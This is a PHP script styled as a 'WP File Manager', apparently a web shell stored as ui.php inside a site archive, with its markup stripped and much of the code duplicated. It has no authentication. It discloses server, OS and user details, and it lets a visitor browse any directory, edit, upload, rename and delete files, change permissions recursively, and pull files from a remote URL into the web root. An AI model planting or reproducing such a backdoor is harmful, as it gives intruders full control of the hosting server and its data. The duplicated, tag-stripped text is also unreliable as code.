"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]CO¹ò®Ë®Ëinfo@dunyagozbalkans.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
